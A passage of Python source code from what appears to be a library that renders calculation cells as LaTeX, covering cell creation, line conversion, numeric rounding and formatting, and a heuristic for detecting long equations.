ValueError(\n f\"Line: {line} is not recognized for rendering.\\n\"\n \"Lines must either:\\n\"\n \"\\t * Be the name of a previously assigned single variable\\n\"\n \"\\t * Be an arithmetic variable assignment (i.e. calculation that uses '=' in the line)\\n\"\n \"\\t * Be a conditional arithmetic assignment (i.e. uses 'if', 'elif', or 'else', each on a single line)\"\n )\n return categorized_line\n\n\ndef create_param_cell(\n raw_source: str,\n calculated_result: dict,\n cell_precision: Optional[int] = None,\n cell_notation: Optional[bool] = None,\n) -> ParameterCell:\n \"\"\"\n Returns a ParameterCell.\n \"\"\"\n comment_tag_removed = strip_cell_code(raw_source)\n cell = ParameterCell(\n source=comment_tag_removed,\n calculated_results=calculated_result,\n precision=cell_precision,\n scientific_notation=cell_notation,\n lines=deque([]),\n latex_code=\"\",\n )\n return cell\n\n\ndef create_long_cell(\n raw_source: str,\n calculated_result: dict,\n cell_precision: Optional[int] = None,\n cell_notation: Optional[bool] = None,\n) -> LongCalcCell:\n \"\"\"\n Returns a LongCalcCell.\n \"\"\"\n comment_tag_removed = strip_cell_code(raw_source)\n cell = LongCalcCell(\n source=comment_tag_removed,\n calculated_results=calculated_result,\n precision=cell_precision,\n scientific_notation=cell_notation,\n lines=deque([]),\n latex_code=\"\",\n )\n return cell\n\n\ndef create_short_cell(\n raw_source: str,\n calculated_result: dict,\n cell_precision: Optional[int] = None,\n cell_notation: Optional[bool] = None,\n) -> ShortCalcCell:\n \"\"\"\n Returns a ShortCell\n \"\"\"\n comment_tag_removed = strip_cell_code(raw_source)\n cell = ShortCalcCell(\n source=comment_tag_removed,\n calculated_results=calculated_result,\n precision=cell_precision,\n scientific_notation=cell_notation,\n lines=deque([]),\n latex_code=\"\",\n )\n return cell\n\n\ndef create_symbolic_cell(\n raw_source: str,\n calculated_result: dict,\n cell_precision: Optional[int] = None,\n cell_notation: Optional[bool] = None,\n) -> SymbolicCell:\n \"\"\"\n Returns a SymbolicCell\n \"\"\"\n comment_tag_removed = strip_cell_code(raw_source)\n cell = SymbolicCell(\n source=comment_tag_removed,\n calculated_results=calculated_result,\n precision=cell_precision,\n scientific_notation=cell_notation,\n lines=deque([]),\n latex_code=\"\",\n )\n return cell\n\n\ndef create_calc_cell(\n raw_source: str,\n calculated_result: dict,\n cell_precision: Optional[int] = None,\n cell_notation: Optional[bool] = None,\n) -> CalcCell:\n \"\"\"\n Returns a CalcCell\n \"\"\"\n cell = CalcCell(\n source=raw_source,\n calculated_results=calculated_result,\n precision=cell_precision,\n scientific_notation=cell_notation,\n lines=deque([]),\n latex_code=\"\",\n )\n return cell\n\n\ndef create_conditional_line(\n line: str, calculated_results: dict, override: str, comment: str\n):\n (\n condition,\n condition_type,\n expression,\n raw_condition,\n raw_expression,\n ) = split_conditional(line, calculated_results, override)\n categorized_line = ConditionalLine(\n condition=condition,\n condition_type=condition_type,\n expressions=expression,\n raw_condition=raw_condition,\n raw_expression=raw_expression.strip(),\n true_condition=deque([]),\n true_expressions=deque([]),\n comment=comment,\n latex_condition=\"\",\n latex_expressions=\"\",\n latex=\"\",\n )\n return categorized_line\n\n\n@singledispatch\ndef add_result_values_to_line(line_object, calculated_results: dict):\n raise TypeError(\n f\"Line object, {type(line_object)} is not recognized yet in add_result_values_to_line()\"\n )\n\n\n@add_result_values_to_line.register(CalcLine)\ndef results_for_calcline(line_object, calculated_results):\n parameter_name = line_object.line[0]\n resulting_value = dict_get(calculated_results, parameter_name)\n line_object.line.append(deque([\"=\", resulting_value]))\n return line_object\n\n\n@add_result_values_to_line.register(NumericCalcLine)\ndef results_for_numericcalcline(line_object, calculated_results):\n parameter_name = line_object.line[0]\n resulting_value = dict_get(calculated_results, parameter_name)\n line_object.line.append(deque([\"=\", resulting_value]))\n return line_object\n\n\n@add_result_values_to_line.register(LongCalcLine)\ndef results_for_longcalcline(line_object, calculated_results):\n parameter_name = line_object.line[0]\n resulting_value = dict_get(calculated_results, parameter_name)\n line_object.line.append(deque([\"=\", resulting_value]))\n return line_object\n\n\n@add_result_values_to_line.register(ParameterLine)\ndef results_for_paramline(line_object, calculated_results):\n return line_object\n\n\n@add_result_values_to_line.register(ConditionalLine)\ndef results_for_conditionline(line_object, calculated_results: dict):\n expressions = line_object.expressions\n for expr in expressions:\n add_result_values_to_line(expr, calculated_results)\n return line_object\n\n\n@add_result_values_to_line.register(SymbolicLine)\ndef results_for_symbolicline(line_object, calculated_results):\n return line_object\n\n\n@add_result_values_to_line.register(BlankLine)\ndef results_for_blank(line_object, calculated_results):\n return line_object\n\n\n@add_result_values_to_line.register(IntertextLine)\ndef results_for_intertext(line_object, calculated_results):\n return line_object\n\n\n@singledispatch\ndef convert_cell(\n cell_object,\n **config_options,\n):\n \"\"\"\n Return the cell_object with all of its lines run through the function,\n 'convert_lines()', effectively converting each python element in the parsed\n deque in the equivalent element in latex.\n\n The result remains stored in cell.lines\n \"\"\"\n raise TypeError(\n f\"Cell object {type(cell_object)} is not yet recognized in convert_cell()\"\n )\n\n\n@convert_cell.register(CalcCell)\ndef convert_calc_cell(\n cell: CalcCell,\n **config_options,\n) -> CalcCell:\n outgoing = cell.lines\n calculated_results = cell.calculated_results\n incoming = deque([])\n for line in outgoing:\n incoming.append(\n convert_line(\n line,\n calculated_results,\n **config_options,\n )\n )\n cell.lines = incoming\n return cell\n\n\n@convert_cell.register(ShortCalcCell)\ndef convert_calc_cell(cell: ShortCalcCell, **config_options) -> ShortCalcCell:\n outgoing = cell.lines\n calculated_results = cell.calculated_results\n incoming = deque([])\n for line in outgoing:\n incoming.append(convert_line(line, calculated_results, **config_options))\n cell.lines = incoming\n return cell\n\n\n@convert_cell.register(LongCalcCell)\ndef convert_longcalc_cell(cell: LongCalcCell, **config_options) -> LongCalcCell:\n outgoing = cell.lines\n calculated_results = cell.calculated_results\n incoming = deque([])\n for line in outgoing:\n incoming.append(convert_line(line, calculated_results, **config_options))\n cell.lines = incoming\n return cell\n\n\n@convert_cell.register(ParameterCell)\ndef convert_parameter_cell(cell: ParameterCell, **config_options) -> ParameterCell:\n outgoing = cell.lines\n calculated_results = cell.calculated_results\n incoming = deque([])\n for line in outgoing:\n incoming.append(convert_line(line, calculated_results, **config_options))\n cell.lines = incoming\n return cell\n\n\n@convert_cell.register(SymbolicCell)\ndef convert_symbolic_cell(cell: SymbolicCell, **config_options) -> SymbolicCell:\n outgoing = cell.lines\n calculated_results = cell.calculated_results\n incoming = deque([])\n for line in outgoing:\n incoming.append(convert_line(line, calculated_results, **config_options))\n cell.lines = incoming\n return cell\n\n\n@singledispatch\ndef convert_line(\n line_object,\n calculated_results: dict,\n **config_options,\n):\n \"\"\"\n Returns 'line_object' with its .line attribute converted into a\n deque with elements that have been converted to their appropriate\n Latex counterparts.\n\n convert_line() runs the deque through all of the conversion functions\n as organized in `swap_calculation()`.\n \"\"\"\n raise TypeError(\n f\"Cell object {type(line_object)} is not yet recognized in convert_line()\"\n )\n\n\n@convert_line.register(CalcLine)\ndef convert_calc(line, calculated_results, **config_options):\n (\n *line_deque,\n result,\n ) = line.line # Unpack deque of form [[calc_line, ...], ['=', 'result']]\n symbolic_portion, numeric_portion = swap_calculation(\n line_deque, calculated_results, **config_options\n )\n line.line = symbolic_portion + numeric_portion + result\n return line\n\n\n@convert_line.register(NumericCalcLine)\ndef convert_numericcalc(line, calculated_results, **config_options):\n (\n *line_deque,\n result,\n ) = line.line # Unpack deque of form [[calc_line, ...], ['=', 'result']]\n symbolic_portion, _ = swap_calculation(\n line_deque, calculated_results, **config_options\n )\n line.line = symbolic_portion + result\n return line\n\n\n@convert_line.register(LongCalcLine)\ndef convert_longcalc(line, calculated_results, **config_options):\n (\n *line_deque,\n result,\n ) = line.line # Unpack deque of form [[calc_line, ...], ['=', 'result']]\n symbolic_portion, numeric_portion = swap_calculation(\n line_deque, calculated_results, **config_options\n )\n line.line = symbolic_portion + numeric_portion + result\n return line\n\n\n@convert_line.register(ConditionalLine)\ndef convert_conditional(line, calculated_results, **config_options):\n condition, condition_type, expressions, raw_condition = (\n line.condition,\n line.condition_type,\n line.expressions,\n line.raw_condition,\n )\n true_condition_deque = swap_conditional(\n condition, condition_type, raw_condition, calculated_results, **config_options\n )\n if true_condition_deque:\n line.true_condition = true_condition_deque\n for expression in expressions:\n line.true_expressions.append(\n convert_line(expression, calculated_results, **config_options)\n )\n return line\n\n\n@convert_line.register(ParameterLine)\ndef convert_parameter(line, calculated_results, **config_options):\n line.line = swap_symbolic_calcs(line.line, calculated_results, **config_options)\n return line\n\n\n@convert_line.register(SymbolicLine)\ndef convert_symbolic_line(line, calculated_results, **config_options):\n line.line = swap_symbolic_calcs(line.line, calculated_results, **config_options)\n return line\n\n\n@convert_line.register(IntertextLine)\ndef convert_intertext(line, calculated_results, **config_options):\n return line\n\n\n@convert_line.register(BlankLine)\ndef convert_blank(line, calculated_results, **config_options):\n return line\n\n\n@singledispatch\ndef format_cell(cell_object, **config_options):\n raise TypeError(\n f\"Cell type {type(cell_object)} has not yet been implemented in format_cell().\"\n )\n\n\n@format_cell.register(ParameterCell)\ndef format_parameters_cell(cell: ParameterCell, **config_options):\n \"\"\"\n Returns the input parameters as an \\\\align environment with 'cols'\n number of columns.\n \"\"\"\n cols = config_options[\"param_columns\"]\n if cell.precision is None:\n precision = config_options[\"display_precision\"]\n else:\n precision = cell.precision\n cell_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell.scientific_notation\n )\n opener = config_options[\"latex_block_start\"]\n begin = f\"\\\\begin{{{config_options['math_environment_start']}}}\"\n end = f\"\\\\end{{{config_options['math_environment_end']}}}\"\n closer = config_options[\"latex_block_end\"]\n line_break = f\"{config_options['line_break']}\\n\"\n cycle_cols = itertools.cycle(range(1, cols + 1))\n for line in cell.lines:\n line = round_and_render_line_objects_to_latex(\n line, precision, cell_notation, **config_options\n )\n line = format_lines(line, **config_options)\n if isinstance(line, BlankLine):\n continue\n if isinstance(line, ConditionalLine):\n outgoing = deque([])\n for expr in line.true_expressions:\n current_col = next(cycle_cols)\n if current_col % cols == 0:\n outgoing.append(\"&\" + expr + line_break)\n elif current_col % cols != 1:\n outgoing.append(\"&\" + expr)\n else:\n outgoing.append(expr)\n line.latex_expressions = \" \".join(outgoing)\n line.latex = line.latex_condition + line.latex_expressions\n else:\n latex_param = line.latex\n\n current_col = next(cycle_cols)\n if current_col % cols == 0:\n line.latex = \"&\" + latex_param + line_break\n elif current_col % cols != 1:\n line.latex = \"&\" + latex_param\n else:\n line.latex = latex_param\n\n latex_block = \" \".join(\n [line.latex for line in cell.lines if not isinstance(line, BlankLine)]\n ).rstrip() # .rstrip(): Hack to solve another problem of empty lines in {aligned} environment\n cell.latex_code = \"\\n\".join([opener, begin, latex_block, end, closer])\n return cell\n\n\n@format_cell.register(CalcCell)\ndef format_calc_cell(cell: CalcCell, **config_options) -> str:\n line_break = f\"{config_options['line_break']}\\n\"\n if cell.precision is None:\n precision = config_options[\"display_precision\"]\n else:\n precision = cell.precision\n cell_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell.scientific_notation\n )\n incoming = deque([])\n for line in cell.lines:\n line = round_and_render_line_objects_to_latex(\n line, precision, cell_notation, **config_options\n )\n line = convert_applicable_long_lines(line)\n line = format_lines(line, **config_options)\n incoming.append(line)\n cell.lines = incoming\n\n latex_block = line_break.join([line.latex for line in cell.lines if line.latex])\n opener = config_options[\"latex_block_start\"]\n begin = f\"\\\\begin{{{config_options['math_environment_start']}}}\"\n end = f\"\\\\end{{{config_options['math_environment_end']}}}\"\n closer = config_options[\"latex_block_end\"]\n cell.latex_code = \"\\n\".join([opener, begin, latex_block, end, closer]).replace(\n \"\\n\" + end, end\n )\n return cell\n\n\n@format_cell.register(ShortCalcCell)\ndef format_shortcalc_cell(cell: ShortCalcCell, **config_options) -> str:\n incoming = deque([])\n line_break = f\"{config_options['line_break']}\\n\"\n if cell.precision is None:\n precision = config_options[\"display_precision\"]\n else:\n precision = cell.precision\n cell_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell.scientific_notation\n )\n for line in cell.lines:\n line = round_and_render_line_objects_to_latex(\n line, precision, cell_notation, **config_options\n )\n line = format_lines(line, **config_options)\n incoming.append(line)\n cell.lines = incoming\n\n latex_block = line_break.join([line.latex for line in cell.lines if line.latex])\n opener = config_options[\"latex_block_start\"]\n begin = f\"\\\\begin{{{config_options['math_environment_start']}}}\"\n end = f\"\\\\end{{{config_options['math_environment_end']}}}\"\n closer = config_options[\"latex_block_end\"]\n cell.latex_code = \"\\n\".join([opener, begin, latex_block, end, closer]).replace(\n \"\\n\" + end, end\n )\n return cell\n\n\n@format_cell.register(LongCalcCell)\ndef format_longcalc_cell(cell: LongCalcCell, **config_options) -> str:\n line_break = f\"{config_options['line_break']}\\n\"\n if cell.precision is None:\n precision = config_options[\"display_precision\"]\n else:\n precision = cell.precision\n cell_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell.scientific_notation\n )\n incoming = deque([])\n for line in cell.lines:\n line = round_and_render_line_objects_to_latex(\n line, precision, cell_notation, **config_options\n )\n line = convert_applicable_long_lines(line)\n line = format_lines(line, **config_options)\n incoming.append(line)\n cell.lines = incoming\n\n latex_block = line_break.join([line.latex for line in cell.lines if line.latex])\n opener = config_options[\"latex_block_start\"]\n begin = f\"\\\\begin{{{config_options['math_environment_start']}}}\"\n end = f\"\\\\end{{{config_options['math_environment_end']}}}\"\n closer = config_options[\"latex_block_end\"]\n cell.latex_code = \"\\n\".join([opener, begin, latex_block, end, closer]).replace(\n \"\\n\" + end, end\n )\n return cell\n\n\n@format_cell.register(SymbolicCell)\ndef format_symbolic_cell(cell: SymbolicCell, **config_options) -> str:\n line_break = f\"{config_options['line_break']}\\n\"\n if cell.precision is None:\n precision = config_options[\"display_precision\"]\n else:\n precision = cell.precision\n cell_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell.scientific_notation\n )\n incoming = deque([])\n for line in cell.lines:\n line = round_and_render_line_objects_to_latex(\n line, precision, cell_notation, **config_options\n )\n line = format_lines(line, **config_options)\n incoming.append(line)\n cell.lines = incoming\n\n latex_block = line_break.join([line.latex for line in cell.lines if line.latex])\n opener = config_options[\"latex_block_start\"]\n begin = f\"\\\\begin{{{config_options['math_environment_start']}}}\"\n end = f\"\\\\end{{{config_options['math_environment_end']}}}\"\n closer = config_options[\"latex_block_end\"]\n cell.latex_code = \"\\n\".join([opener, begin, latex_block, end, closer]).replace(\n \"\\n\" + end, end\n )\n return cell\n\n\n@singledispatch\ndef round_and_render_line_objects_to_latex(\n line: Union[CalcLine, ConditionalLine, ParameterLine],\n cell_precision: int,\n cell_notation: bool,\n **config_options,\n): # Not called for symbolic lines; see format_symbolic_cell()\n \"\"\"\n Returns 'line' with the elements of the deque in its .line attribute\n converted into their final string form for rendering (thereby preserving\n its intermediate step) and populates the\n .latex attribute with the joined string from .line.\n\n 'precision' is the number of decimal places that each object should\n be rounded to for display.\n \"\"\"\n raise TypeError(\n f\"Line type {type(line)} not recognized yet in round_and_render_line_objects_to_latex()\"\n )\n\n\n@round_and_render_line_objects_to_latex.register(CalcLine)\ndef round_and_render_calc(\n line: CalcLine, cell_precision: int, cell_notation: bool, **config_options\n) -> CalcLine:\n idx_line = line.line\n precision = cell_precision\n use_scientific_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell_notation\n )\n preferred_formatter = config_options[\"preferred_string_formatter\"]\n rendered_line = render_latex_str(\n idx_line, use_scientific_notation, precision, preferred_formatter\n )\n rendered_line = swap_dec_sep(rendered_line, config_options[\"decimal_separator\"])\n line.line = rendered_line\n line.latex = \" \".join(rendered_line)\n return line\n\n\n@round_and_render_line_objects_to_latex.register(NumericCalcLine)\ndef round_and_render_numericcalc(\n line: NumericCalcLine, cell_precision: int, cell_notation: bool, **config_options\n) -> NumericCalcLine:\n idx_line = line.line\n precision = cell_precision\n use_scientific_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell_notation\n )\n preferred_formatter = config_options[\"preferred_string_formatter\"]\n rendered_line = render_latex_str(\n idx_line, use_scientific_notation, precision, preferred_formatter\n )\n rendered_line = swap_dec_sep(rendered_line, config_options[\"decimal_separator\"])\n line.line = rendered_line\n line.latex = \" \".join(rendered_line)\n return line\n\n\n@round_and_render_line_objects_to_latex.register(LongCalcLine)\ndef round_and_render_longcalc(\n line: LongCalcLine, cell_precision: int, cell_notation: bool, **config_options\n) -> LongCalcLine:\n idx_line = line.line\n precision = cell_precision\n use_scientific_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell_notation\n )\n preferred_formatter = config_options[\"preferred_string_formatter\"]\n rendered_line = render_latex_str(\n idx_line, use_scientific_notation, precision, preferred_formatter\n )\n rendered_line = swap_dec_sep(rendered_line, config_options[\"decimal_separator\"])\n line.line = rendered_line\n line.latex = \" \".join(rendered_line)\n return line\n\n\n@round_and_render_line_objects_to_latex.register(ParameterLine)\ndef round_and_render_parameter(\n line: ParameterLine, cell_precision: int, cell_notation: bool, **config_options\n) -> ParameterLine:\n idx_line = line.line\n precision = cell_precision\n use_scientific_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell_notation\n )\n preferred_formatter = config_options[\"preferred_string_formatter\"]\n rendered_line = render_latex_str(\n idx_line, use_scientific_notation, precision, preferred_formatter\n )\n rendered_line = swap_dec_sep(rendered_line, config_options[\"decimal_separator\"])\n line.line = rendered_line\n line.latex = \" \".join(rendered_line)\n return line\n\n\n@round_and_render_line_objects_to_latex.register(ConditionalLine)\ndef round_and_render_conditional(\n line: ConditionalLine, cell_precision: int, cell_notation: bool, **config_options\n) -> ConditionalLine:\n conditional_line_break = f\"{config_options['line_break']}\\n\"\n outgoing = deque([])\n idx_line = line.true_condition\n precision = cell_precision\n use_scientific_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell_notation\n )\n preferred_formatter = config_options[\"preferred_string_formatter\"]\n rendered_line = render_latex_str(\n idx_line, use_scientific_notation, precision, preferred_formatter\n )\n rendered_line = swap_dec_sep(rendered_line, config_options[\"decimal_separator\"])\n line.line = rendered_line\n line.latex = \" \".join(rendered_line)\n # return line\n line.true_condition = rendered_line\n for (\n expr\n ) in line.true_expressions: # Each 'expr' item is a CalcLine or other line type\n outgoing.append(\n round_and_render_line_objects_to_latex(\n expr, cell_precision, cell_notation, **config_options\n )\n )\n line.true_expressions = outgoing\n line.latex = conditional_line_break.join(\n [calc_line.latex for calc_line in outgoing]\n )\n return line\n\n\n@round_and_render_line_objects_to_latex.register(SymbolicLine)\ndef round_and_render_symbolic(\n line: SymbolicLine, cell_precision: int, cell_notation: bool, **config_options\n) -> SymbolicLine:\n idx_line = line.line\n precision = cell_precision\n use_scientific_notation = toggle_scientific_notation(\n config_options[\"use_scientific_notation\"], cell_notation\n )\n preferred_formatter = config_options[\"preferred_string_formatter\"]\n rendered_line = render_latex_str(\n idx_line, use_scientific_notation, precision, preferred_formatter\n )\n rendered_line = swap_dec_sep(rendered_line, config_options[\"decimal_separator\"])\n line.line = rendered_line\n line.latex = \" \".join(rendered_line)\n return line\n\n\n@round_and_render_line_objects_to_latex.register(BlankLine)\ndef round_and_render_blank(\n line, cell_precision: int, cell_notation: bool, **config_options\n):\n return line\n\n\n@round_and_render_line_objects_to_latex.register(IntertextLine)\ndef round_and_render_intertext(\n line, cell_precision: int, cell_notation: bool, **config_options\n):\n return line\n\n\ndef render_latex_str(\n line_of_code: deque,\n use_scientific_notation: bool,\n precision: int,\n preferred_formatter: str,\n) -> deque:\n \"\"\"\n Returns a rounded str based on the latex_repr of an object in\n 'line_of_code'\n \"\"\"\n outgoing = deque([])\n for item in line_of_code:\n rendered_str = latex_repr(\n item, use_scientific_notation, precision, preferred_formatter\n )\n outgoing.append(rendered_str)\n return outgoing\n\n\ndef latex_repr(\n item: Any, use_scientific_notation: bool, precision: int, preferred_formatter: str\n) -> str:\n \"\"\"\n Return a str if the object, 'item', has a special repr method\n for rendering itself in latex. If not, returns str(result).\n \"\"\"\n # Check for arrays\n if hasattr(item, \"__len__\") and not isinstance(item, (str, dict)):\n comma_space = \",\\\\ \"\n try:\n array = (\n \"[\"\n + comma_space.join(\n [\n latex_repr(\n v, use_scientific_notation, precision, preferred_formatter\n )\n for v in item\n ]\n )\n + \"]\"\n )\n rendered_string = array\n return rendered_string\n except TypeError:\n pass\n\n # Check for sympy objects\n if hasattr(item, \"__sympy__\"):\n return render_sympy(round_sympy(item, precision, use_scientific_notation))\n\n # Check for scientific notation strings\n if isinstance(item, str) and test_for_scientific_float(item):\n if \"e-\" in item:\n rendered_string = swap_scientific_notation_str(item)\n elif \"e+\" in item:\n rendered_string = swap_scientific_notation_str(item)\n elif \"e\" in item:\n rendered_string = swap_scientific_notation_str(item.replace(\"e\", \"e+\"))\n return rendered_string\n\n # Procedure for atomic data items\n try:\n if use_scientific_notation:\n rendered_string = f\"{item:.{precision}e{preferred_formatter}}\"\n else:\n rendered_string = f\"{item:.{precision}f{preferred_formatter}}\"\n except (ValueError, TypeError):\n try:\n if use_scientific_notation and isinstance(item, complex):\n rendered_real = f\"{item.real:.{precision}e}\"\n rendered_real = swap_scientific_notation_str(rendered_real)\n\n rendered_imag = f\"{item.imag:.{precision}e}\"\n rendered_imag = swap_scientific_notation_str(rendered_imag)\n\n rendered_string = (\n f\"\\\\left( {rendered_real} + {rendered_imag} j \\\\right)\"\n )\n elif use_scientific_notation and not isinstance(item, int):\n rendered_string = f\"{item:.{precision}e}\"\n rendered_string = swap_scientific_notation_str(rendered_string)\n elif not isinstance(item, int):\n rendered_string = f\"{item:.{precision}f}\"\n else:\n rendered_string = str(item)\n except (ValueError, TypeError):\n try:\n rendered_string = item._repr_latex_()\n except AttributeError:\n rendered_string = str(item)\n\n return rendered_string.replace(\"$\", \"\")\n\n\ndef round_sympy(elem: Any, precision: int, use_scientific_notation: bool) -> Any:\n \"\"\"\n Returns the Sympy expression 'elem' rounded to 'precision'\n \"\"\"\n from sympy import Float\n\n rule = {}\n for n in elem.atoms(Float):\n if use_scientific_notation:\n rule[n] = round_for_scientific_notation(n, precision)\n else:\n rule[n] = round(n, precision)\n rounded = elem.xreplace(rule)\n if hasattr(elem, \"units\") and not hasattr(rounded, \"units\"):\n # Add back pint units lost during rounding.\n rounded = rounded * elem.units\n return rounded\n\n\ndef render_sympy(elem: Any) -> str:\n \"\"\"\n Returns a string of the Latex representation of the sympy object, 'elem'.\n \"\"\"\n from sympy import latex\n\n return latex(elem)\n\n\ndef round_for_scientific_notation(elem, precision):\n \"\"\"\n Returns a float rounded so that the decimals behind the coefficient are rounded to 'precision'.\n \"\"\"\n adjusted_precision = calculate_adjusted_precision(elem, precision)\n rounded = round(elem, adjusted_precision)\n return rounded\n\n\ndef calculate_adjusted_precision(elem, precision):\n \"\"\"\n Returns the number of decimal places 'elem' should be rounded to\n to achieve a final 'precision' in scientific notation.\n \"\"\"\n try:\n power_of_ten = int(math.log10(abs(elem)))\n except (DimensionalityError, TypeError):\n elem_float = float(str(elem).split(\" \")[0])\n power_of_ten = int(math.log10(abs(elem_float)))\n if power_of_ten < 1:\n return precision - power_of_ten + 1\n else:\n return precision - power_of_ten\n\n\n# def round_elements(line_of_code: deque, cell_precision: Optional[int] = None, cell_notation: bool = False) -> deque:\n# \"\"\"\n# Returns a rounded float\n# \"\"\"\n# outgoing = deque([])\n# for item in line_of_code:\n# rounded = round_(item, precision=cell_precision, use_scientific_notation=cell_notation)\n# outgoing.append(rounded)\n# return outgoing\n\n\n# def round_(item: Any, precision: int, depth: int = 0, use_scientific_notation: bool = False) -> Any:\n# \"\"\"\n# Recursively round an object and its elements to a given precision.\n# \"\"\"\n# round_notation = use_scientific_notation\n# if depth > 3:\n# # Limit maximum recursion depth.\n# return item\n\n# if hasattr(item, \"__sympy__\"):\n# return round_sympy(item, precision, use_scientific_notation)\n\n# if hasattr(item, \"__len__\") and not isinstance(item, (str, dict, tuple)):\n# try: # For catching arrays\n# return [round_(v, precision=precision, depth=depth + 1, use_scientific_notation=use_scientific_notation) for v in item]\n# except (ValueError, TypeError):\n# # Objects like Quantity (from pint) have a __len__ wrapper\n# # even if the wrapped magnitude object is not iterable.\n# return round_float(item, precision, use_scientific_notation)\n\n# if isinstance(item, complex):\n# return round_complex(item, precision, use_scientific_notation)\n# if not isinstance(item, (str, int)):\n# try:\n# return round_float(item, precision, use_scientific_notation)\n# except (ValueError, TypeError):\n# pass\n# return item\n\n\n# def round_float(elem: Any, precision: int, use_scientific_notation: bool) -> Any:\n# \"\"\"\n# Returns 'elem', presumed to be float-like, to 'precision', where 'precision' varies\n# depending on whether 'use_scientific_notation' is True or not.\n# \"\"\"\n# if use_scientific_notation:\n# return round_for_scientific_notation(elem, precision)\n# else:\n# return round(elem, precision)\n\n\n# def round_complex(elem: complex, precision: int, use_scientific_notation: bool) -> complex:\n# \"\"\"\n# Returns the complex 'elem' rounded to 'precision'\n# \"\"\"\n# return complex(\n# round_float(elem.real, precision, use_scientific_notation),\n# round_float(elem.imag, precision, use_scientific_notation)\n# )\n\n\n@singledispatch\ndef convert_applicable_long_lines(\n line: Union[ConditionalLine, CalcLine]\n): # Not called for symbolic lines; see format_symbolic_cell()\n raise TypeError(\n f\"Line type {type(line)} not yet implemented in convert_applicable_long_lines().\"\n )\n\n\n@convert_applicable_long_lines.register(CalcLine)\ndef convert_calc_to_long(line: CalcLine):\n if test_for_long_lines(line):\n return convert_calc_line_to_long(line)\n return line\n\n\n@convert_applicable_long_lines.register(NumericCalcLine)\ndef convert_calc_to_long(line: NumericCalcLine):\n if test_for_long_lines(line):\n return convert_calc_line_to_long(line)\n return line\n\n\n@convert_applicable_long_lines.register(LongCalcLine)\ndef convert_longcalc_to_long(line: LongCalcLine):\n return line\n\n\n@convert_applicable_long_lines.register(ConditionalLine)\ndef convert_expressions_to_long(line: ConditionalLine):\n for idx, expr in enumerate(line.true_expressions):\n if test_for_long_lines(expr):\n line.true_expressions[idx] = convert_calc_line_to_long(expr)\n return line\n\n\n@convert_applicable_long_lines.register(ParameterLine)\ndef convert_param_to_long(line: ParameterLine):\n return line\n\n\n@convert_applicable_long_lines.register(IntertextLine)\ndef convert_intertext_to_long(line: IntertextLine):\n return line\n\n\n@convert_applicable_long_lines.register(BlankLine)\ndef convert_blank_to_long(line: BlankLine):\n return line\n\n\n@singledispatch\ndef test_for_long_lines(line: Union[CalcLine, ConditionalLine]) -> bool:\n raise TypeError(\n f\"Line type of {type(line)} not yet implemented in test_for_long_lines().\"\n )\n\n\n@test_for_long_lines.register(ParameterLine)\ndef test_for_long_param_lines(line: ParameterLine) -> bool:\n return False\n\n\n@test_for_long_lines.register(BlankLine)\ndef test_for_long_blank(line: BlankLine) -> bool:\n return False\n\n\n@test_for_long_lines.register(IntertextLine)\ndef test_for_long_intertext(line: IntertextLine) -> bool:\n return False\n\n\n@test_for_long_lines.register(LongCalcLine)\ndef test_for_long_longcalcline(line: LongCalcLine) -> bool:\n return True\n\n\n@test_for_long_lines.register(NumericCalcLine)\ndef test_for_long_numericcalcline(line: NumericCalcLine) -> bool:\n return False\n\n\n@test_for_long_lines.register(CalcLine)\ndef test_for_long_calc_lines(line: CalcLine) -> bool:\n \"\"\"\n Return True if 'calc_line' passes the criteria to be considered,\n as a \"LongCalcLine\". False otherwise.\n\n Function goes through all of the code in the CalcLine and maintains\n several (imperfect) tallies of characters to determine if the\n calculation is too long to exist on a single line.\n\n This is attempted by counting actual characters that will appear\n in the resulting equation and that are not part of\n the actual latex code (e.g. anything with a \"\\\\\" in front of it, etc.),\n and by also \"discounting\" characters that are in a fraction, since\n the overall length of the fraction (on the page) is determined by\n whichever is longer, the numerator or denominator. As such, characters\n in a fraction (single level of fraction, only) are counted and\n discounted from the total tally.\n\n This is a (very) imperfect work-in-progress.\n \"\"\"\n threshold = 130 # This is an arbitrary value that can be adjusted manually, if reqd\n item_length = 0\n fraction_discount = 0\n stack = 0\n stack_location = 0\n fraction_flag = False\n fraction_count = 0\n total_length = 0\n for item in line.line:\n if \"_\" in item or \"^\" in item: # Check for subscripts and superscripts first\n item = (\n item.replace(\"_\", \"\").replace(\"^\", \"\").replace(\"{\", \"\").replace(\"}\", \"\")\n )\n item_length = len(item)\n\n elif \"\\\\\" not in item or \"{\" not in item:\n item_length = len(item)\n\n elif \"{\" in item: # Check for other latex operators that use { }\n stack += 1\n\n else: # Assume the latex command adds at least one character, e.g. \\left( or \\cdot\n total_length += 1\n continue\n\n if item == \"\\\\frac{\" or item == \"}{\": # If entering into a fraction\n fraction_discount = (\n fraction_count\n if fraction_count > fraction_discount\n else fraction_discount\n )\n fraction_count = 0\n fraction_flag = True\n if item == \"\\\\frac{\":\n stack_location = stack # Mark where the fraction is in relation to the other \"{\" operators\n stack += 1\n\n elif ( # Check for closing of misc latex operators, which may include a fraction\n item == \"}\"\n ):\n stack -= 1\n if stack == stack_location:\n fraction_flag == False\n fraction_discount = (\n fraction_count\n if fraction_count > fraction_discount\n else fraction_discount\n )\n\n if fraction_flag == True:\n fraction_count += item_length\n\n total_length += item_length\n\n stat = total_length - fraction_discount\n return stat >= threshold\n\n\ndef convert_calc_line_to_long(calc_line: CalcLine) -> LongCalcLine:\n \"\"\"\n Return a LongCalcLine based on a calc_line\n \"\"\"\n return LongCalcLine(\n line=calc_line.line, comment=calc_line.comment, latex=calc_line.latex\n )\n\n\n@singledispatch\ndef format_lines(line_object, **config_options):\n \"\"\"\n format_lines adds small, context-dependent pieces of latex code in\n amongst the latex string in the line_object.latex attribute. This involves\n things like inserting \"&\" or linebreak characters for equation alignment,\n formatting comments stored in the .comment attribute and putting them at\n the end of the calculation, or the distinctive \"Since, ...\"\n text that 